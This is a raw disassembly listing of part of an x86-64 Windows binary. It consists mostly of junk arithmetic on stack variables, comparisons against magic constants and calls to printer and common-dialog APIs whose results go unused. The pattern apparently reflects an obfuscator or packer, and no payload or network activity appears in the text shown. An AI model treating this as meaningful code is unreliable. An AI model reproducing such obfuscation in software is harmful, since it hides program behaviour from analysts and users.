movzx ecx, word [rsp + 0x14cc]
shl eax, cl
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
xor eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x14c4]
add eax, ecx
mov word [rsp + 0x14d0], ax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d00], eax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4cf0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d54], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14c8]
add eax, ecx
mov word [rsp + 0x14d0], ax
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0x8c80]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d18]
shl eax, cl
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8be8]
shr rax, cl
mov qword [rsp + 0x8ca0], rax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4cf0], eax
cmp dword [rsp + 0x4d5c], 0xa456
jb 0x1400083b0
mov rax, qword [rsp + 0x8ca8]
movzx eax, byte [rax]
mov byte [rsp + 0x4d68], al
cmp byte [rsp + 0x4d68], 0
je 0x1400088f7
jmp 0x1401b2e6a
mov rax, qword [rsp + 0x8c38]
mov rax, qword [rax]
mov qword [rsp + 0x8cd0], rax
cmp qword [rsp + 0x8cd0], 0
je 0x14000891a
jmp 0x1401b2de6
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4cf0]
add ecx, eax
mov eax, ecx
cmp eax, dword [rsp + 0x4d54]
jae 0x140008aa3
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov qword [rsp + 0x8cd8], rax
movabs rax, 0x269222d93cbf755a
cmp qword [rsp + 0x8cd8], rax
je 0x140008980
movabs rax, 0x570ae5ff10f4c697
cmp qword [rsp + 0x8cd8], rax
je 0x140008a7f
jmp 0x140008a9e
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1de]
sub eax, ecx
movsx ecx, byte [rsp + 0x1dd]
mov dword [rsp + 0x4d6c], ecx
mov rdx, qword [rsp + 0x8ca8]
movsx edx, byte [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x4d6c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x140008a7d
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x180], al
mov edx, 0x56
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_ScheduleJob
mov dword [rsp + 0x4d70], eax
mov eax, dword [rsp + 0x4d18]
mov rcx, qword [rsp + 0x8c58]
mov qword [rsp + 0x8ce0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8ce0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8ca0], rax
lea rcx, [rsp + 0x26d70]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x8ce8], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d54]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cf0], eax
jmp 0x140008a9e
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
jmp 0x1401b2dd3
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
movzx ecx, word [rsp + 0x121c]
movzx edx, word [rsp + 0x14cc]
sub ecx, edx
cmp eax, ecx
jle 0x140008b5b
lea rcx, [rsp + 0x26f50]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8c08]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8bd8]
mov rdx, qword [rsp + 0x8c98]
mov rcx, qword [rcx]
and rcx, rdx
cmp rax, rcx
jle 0x140008b5b
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
movsx eax, byte [rsp + 0x1dd]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
call fcn.1401b3bf0
nop
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov qword [rsp + 0x8cf0], rax
cmp qword [rsp + 0x8cf0], 0
je 0x140008b96
movabs rax, 0xb7689f1b6c16d1a5
cmp qword [rsp + 0x8cf0], rax
je 0x1401b2c7a
jmp 0x1401b2cf7
cmp dword [rsp + 0x4d58], 0xadcb
jb 0x140008fc0
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8c80]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4d18], eax
mov eax, dword [rsp + 0x4d58]
sub eax, 0x6f
mov dword [rsp + 0x4d58], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
mov word [rsp + 0x14cc], ax
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1db], al
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1dc], al
movsx eax, byte [rsp + 0x1de]
movsx ecx, byte [rsp + 0x1dd]
add eax, ecx
mov byte [rsp + 0x1dc], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x121c]
add eax, ecx
mov word [rsp + 0x14cc], ax
mov eax, dword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x8c60]
mov qword [rsp + 0x8cf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8cf8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4d54], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8be8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x8c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8c08]
movzx ecx, al
mov rax, qword [rsp + 0x8bd0]
sar rax, cl
mov rcx, qword [rsp + 0x8bd8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x180]
and eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14d4]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1dd]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1de], al
movzx eax, byte [rsp + 0x180]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0x14d0]
sub eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x8c60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8c58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8c50]
mov byte [rcx], al
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14c8]
shl eax, cl
mov word [rsp + 0x14d0], ax
movzx eax, word [rsp + 0x14d4]
movzx ecx, word [rsp + 0x121c]
or eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1de]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
movsx eax, word [rsp + 0x14d0]
movsx ecx, word [rsp + 0x14c8]
sub eax, ecx
mov word [rsp + 0x14c4], ax
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8c80]
mov rcx, qword [rsp + 0x8c58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4d18], eax
mov rax, qword [rsp + 0x8bf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ce], al
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14cc]
add eax, ecx
mov rcx, qword [rsp + 0x8bf0]
mov word [rcx], ax
jmp 0x140008b96
lea rax, [rsp + 0x1de]
mov qword [rsp + 0x8d00], rax
lea rax, [rsp + 0x4d54]
mov qword [rsp + 0x8d08], rax
movzx eax, byte [rsp + 0x1de]
mov byte [rsp + 0x4d74], al
cmp byte [rsp + 0x4d74], 0
je 0x140008ffb
jmp 0x14000903b
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc008], al
lea rax, [rsp + 0x8ca0]
mov qword [rsp + 0x8d10], rax
lea rax, [rsp + 0x4d00]
mov qword [rsp + 0x8d18], rax
jmp 0x14000911f
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1dd]
shl eax, cl
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8d00]
movsx edx, byte [rdx]
xor ecx, edx
cmp eax, ecx
jne 0x14000910f
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c38]
mov qword [rsp + 0x8d20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x8d20]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8bd0], rax
mov rax, qword [rsp + 0x8d00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
lea rax, [rsp + 0x8d00]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x4d78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xfb
lea r9, [rsp + 0x8bc8]
mov r8d, 0xbf
mov rdx, qword [rsp + 0x8d28]
mov ecx, 0x5e
call sub.WINSPOOL.DRV_EnumPrintersA
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rax]
call fcn.1401b3460
nop
mov dword [rsp + 0x4d7c], 0xf3ad
lea rax, [rsp + 0x14c8]
mov qword [rsp + 0x8d30], rax
movzx eax, word [rsp + 0x121c]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14d4], ax
mov rax, qword [rsp + 0x8c60]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov ecx, dword [rsp + 0x4cf0]
mov edx, dword [rsp + 0x4d54]
and edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140009266
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4d18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8d18]
mov rdx, qword [rsp + 0x8c58]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jle 0x140009217
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
sub eax, ecx
mov byte [rsp + 0x1db], al
mov r9d, 0xd1
lea r8, [rsp + 0x1de]
mov edx, 0x14
mov rcx, qword [rsp + 0x8bb8]
call sub.WINSPOOL.DRV_SetPrinterA
mov dword [rsp + 0x4ce4], eax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c50]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c00]
mov byte [rcx], al
jmp 0x140009266
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8bd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov rdx, qword [rsp + 0x8bd8]
mov rdx, qword [rdx]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jl 0x140009266
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc008], al
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d0]
sub eax, ecx
movsx ecx, word [rsp + 0x14c8]
mov dword [rsp + 0x4d80], ecx
movsx edx, word [rsp + 0x14c4]
movzx ecx, dl
mov edx, dword [rsp + 0x4d80]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x140009364
lea rcx, [rsp + 0x270e0]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x4d84], eax
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sar eax, cl
movzx ecx, byte [rsp + 0x1db]
movzx edx, byte [0x1401cc008]
or ecx, edx
cmp eax, ecx
jle 0x140009364
mov rax, qword [rsp + 0x8c60]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4cf0], eax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x8ca0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
lea rax, [rsp + 0x4d00]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xcf
lea r9, [rsp + 0x270e0]
mov r8d, 0x8c
mov rdx, qword [rsp + 0x8d38]
mov rcx, qword [rsp + 0x8bb8]
call sub.WINSPOOL.DRV_GetFormA
mov dword [rsp + 0x4d70], eax
lea rax, [rsp + 0x8c08]
mov qword [rsp + 0x8d40], rax
movzx eax, word [rsp + 0x14c8]
mov word [rsp + 0x14d8], ax
movsx eax, word [rsp + 0x14c4]
mov dword [rsp + 0x4d88], eax
cmp dword [rsp + 0x4d88], 0xfffff2e7
je 0x1400093b6
cmp dword [rsp + 0x4d88], 0x7121
je 0x140009515
jmp 0x1400095e9
lea rax, [rsp + 0x180]
mov qword [rsp + 0x8d48], rax
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc008]
add eax, ecx
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x180]
sub ecx, edx
cmp eax, ecx
jne 0x140009510
movzx eax, word [rsp + 0x121c]
movzx ecx, word [rsp + 0x14d4]
and eax, ecx
mov word [rsp + 0x14cc], ax
movsx eax, byte [rsp + 0x1dd]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x1dc]
mov rdx, qword [rsp + 0x8d00]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x1400094f4
mov rax, qword [rsp + 0x8cc0]
movzx eax, byte [rax]
mov byte [rsp + 0x1df], al
movzx eax, word [rsp + 0x121c]
mov dword [rsp + 0x4d8c], eax
cmp dword [rsp + 0x4d8c], 0
je 0x140009470
jmp 0x1400094d1
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
add eax, ecx
mov byte [rsp + 0x1dc], al
mov dword [rsp + 0x4d90], 0x3b86
mov eax, dword [rsp + 0x4d00]
mov dword [0x1401cd710], eax
lea rax, [rsp + 0x121c]
mov qword [rsp + 0x8d50], rax
lea rax, [rsp + 0x8ca0]
mov qword [rsp + 0x8d58], rax
mov dword [rsp + 0x4d94], 0x9ec5
jmp 0x1400094f2
mov rax, qword [rsp + 0x8bd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8c98]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
jmp 0x140009510
mov eax, dword [rsp + 0x4d54]
mov ecx, dword [rsp + 0x4cf0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
jmp 0x1400095e9
mov r8, qword [rsp + 0x8d60]
mov rdx, qword [rsp + 0x8ce8]
mov rcx, qword [rsp + 0x8bc0]
call sub.WINSPOOL.DRV_ConfigurePortA
mov dword [rsp + 0x4ce4], eax
movsx eax, word [rsp + 0x14d8]
mov dword [rsp + 0x4d98], eax
cmp dword [rsp + 0x4d98], 0x7242
je 0x140009557
jmp 0x1400095cd
mov rax, qword [rsp + 0x8bd0]
movzx ecx, al
mov rax, qword [rsp + 0x8c98]
shl rax, cl
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8d40]
mov rdx, qword [rdx]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jle 0x1400095ac
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x4d00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4d18], eax
call fcn.1401b3bf0
nop
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1df]
sub eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov byte [rcx], al
jmp 0x1400095e9
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x180]
sub eax, ecx
mov byte [rsp + 0x1db], al
mov dword [rsp + 0x4d9c], 0xd0f1
mov rax, qword [rsp + 0x8d30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14c8]
sub eax, ecx
mov word [rsp + 0x14d8], ax
mov rax, qword [rsp + 0x8c98]
mov qword [rsp + 0x8d68], rax
movabs rax, 0x25621f0c11eb9ee
cmp qword [rsp + 0x8d68], rax
je 0x140009637
jmp 0x140009685
lea rcx, [rsp + 0x26c30]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0x4ce4], eax
mov eax, dword [rsp + 0x4d18]
mov ecx, dword [rsp + 0x4d00]
add ecx, eax
mov eax, ecx
mov dword [0x1401cd710], eax
movsx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8c48]
mov byte [rcx], al
jmp 0x1400096c1
lea rax, [rsp + 0x8ca0]
mov qword [rsp + 0x8d70], rax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x8c08]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov eax, dword [rsp + 0x4d00]
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ca8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
mov rdx, qword [rsp + 0x8d00]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jne 0x1401b2ae1
lea rax, [rsp + 0x1db]
mov qword [rsp + 0x8d78], rax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x1dc]
mov rdx, qword [rsp + 0x8ca8]
movsx edx, byte [rdx]
add ecx, edx
cmp eax, ecx
jge 0x140009879
mov rax, qword [rsp + 0x8d08]
mov ecx, dword [rsp + 0x4d54]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8c60]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4cf0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140009879
mov rax, qword [rsp + 0x8d18]
mov ecx, dword [rsp + 0x4d00]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4da0], eax
mov rax, qword [rsp + 0x8d48]
movzx eax, byte [rax]
mov byte [rsp + 0x4da4], al
cmp byte [rsp + 0x4da4], 0xc7
je 0x14000984a
cmp byte [rsp + 0x4da4], 0xdd
je 0x1400097b7
jmp 0x140009879
mov rax, qword [rsp + 0x8d10]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8bf8]
mov qword [rcx], rax
mov dword [rsp + 0x20], 0xb2
lea r9, [rsp + 0x26ed0]
mov r8d, 8
lea rdx, [rsp + 0x8c58]
mov rcx, qword [rsp + 0x8bc8]
call sub.WINSPOOL.DRV_FlushPrinter
mov dword [rsp + 0x4da8], eax
mov rax, qword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x8c98]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8bd0], rax
mov eax, dword [rsp + 0x4d54]
movzx ecx, al
mov eax, dword [rsp + 0x4cf0]
shr eax, cl
mov rcx, qword [rsp + 0x8c60]
mov dword [rcx], eax
jmp 0x140009879
mov dword [rsp + 0x20], 0x6d
lea r9, [rsp + 0x27050]
mov r8d, 0x5b
mov edx, 4
mov rcx, qword [rsp + 0x8c70]
call sub.WINSPOOL.DRV_SetJobA
mov dword [rsp + 0x4da8], eax
mov rax, qword [rsp + 0x8be8]
mov qword [rsp + 0x8d80], rax
cmp qword [rsp + 0x8d80], 0
je 0x1400098bf
movabs rax, 0x93675eca85c91f31
cmp qword [rsp + 0x8d80], rax
je 0x1400098ad
jmp 0x1401b2a52
mov ecx, dword [rsp + 0x4d54]
call fcn.1401b3460
nop
jmp 0x1401b2a52
mov rax, qword [rsp + 0x8c98]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8c38]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8c08]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jge 0x1400099df
mov dword [rsp + 0x20], 0x85
lea r9, [rsp + 0x8d08]
mov r8d, 0x44
mov edx, 0x68
mov rcx, qword [rsp + 0x8d88]
call sub.WINSPOOL.DRV_SetJobA
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8ca8]
movzx eax, byte [rax]
mov byte [rsp + 0x4dac], al
cmp byte [rsp + 0x4dac], 0x6c
je 0x140009944
jmp 0x1400099b9
mov rax, qword [rsp + 0x8d18]
mov rcx, qword [rsp + 0x8c80]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x4d18]
mov edx, dword [rsp + 0x4d00]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400099a7
movzx eax, byte [rsp + 0x1db]
movzx ecx, byte [rsp + 0x1ce]
and eax, ecx
mov byte [0x1401cc008], al
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d48]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c60]
mov ecx, dword [rax]
call fcn.1401b3460
nop
jmp 0x1400099da
mov rax, qword [rsp + 0x8d58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ca0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
jmp 0x140009b29
movsx eax, word [rsp + 0x14c4]
movsx ecx, word [rsp + 0x14c8]
shl eax, cl
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
mov dword [rsp + 0x4db0], ecx
movsx edx, word [rsp + 0x14d0]
movzx ecx, dl
mov edx, dword [rsp + 0x4db0]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140009ace
mov rax, qword [rsp + 0x8c38]
mov rcx, qword [rsp + 0x8bd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8d40]
mov rdx, qword [rsp + 0x8c98]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jl 0x140009aae
mov eax, dword [rsp + 0x4d00]
mov ecx, dword [rsp + 0x4da0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c58]
mov dword [rcx], eax
lea r9, [rsp + 0x8ce8]
mov r8d, 0x56
mov rdx, qword [rsp + 0x8d90]
mov rcx, qword [rsp + 0x8d98]
call sub.WINSPOOL.DRV_SetFormA
mov dword [rsp + 0x4cec], eax
mov rax, qword [rsp + 0x8d10]
mov rcx, qword [rax]
call fcn.1401b3150
nop
jmp 0x140009acc
mov rax, qword [rsp + 0x8bd8]
mov rcx, qword [rsp + 0x8c98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c08], rax
jmp 0x140009b29
mov rax, qword [rsp + 0x8c60]
mov rcx, qword [rsp + 0x8d08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov ecx, dword [rsp + 0x4d54]
mov edx, dword [rsp + 0x4cf0]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140009b29
mov dword [rsp + 0x20], 0xce
lea r9, [rsp + 0x4d54]
mov r8d, 0x8f
mov edx, 0x38
mov rcx, qword [rsp + 0x8da0]
call sub.WINSPOOL.DRV_SetJobA
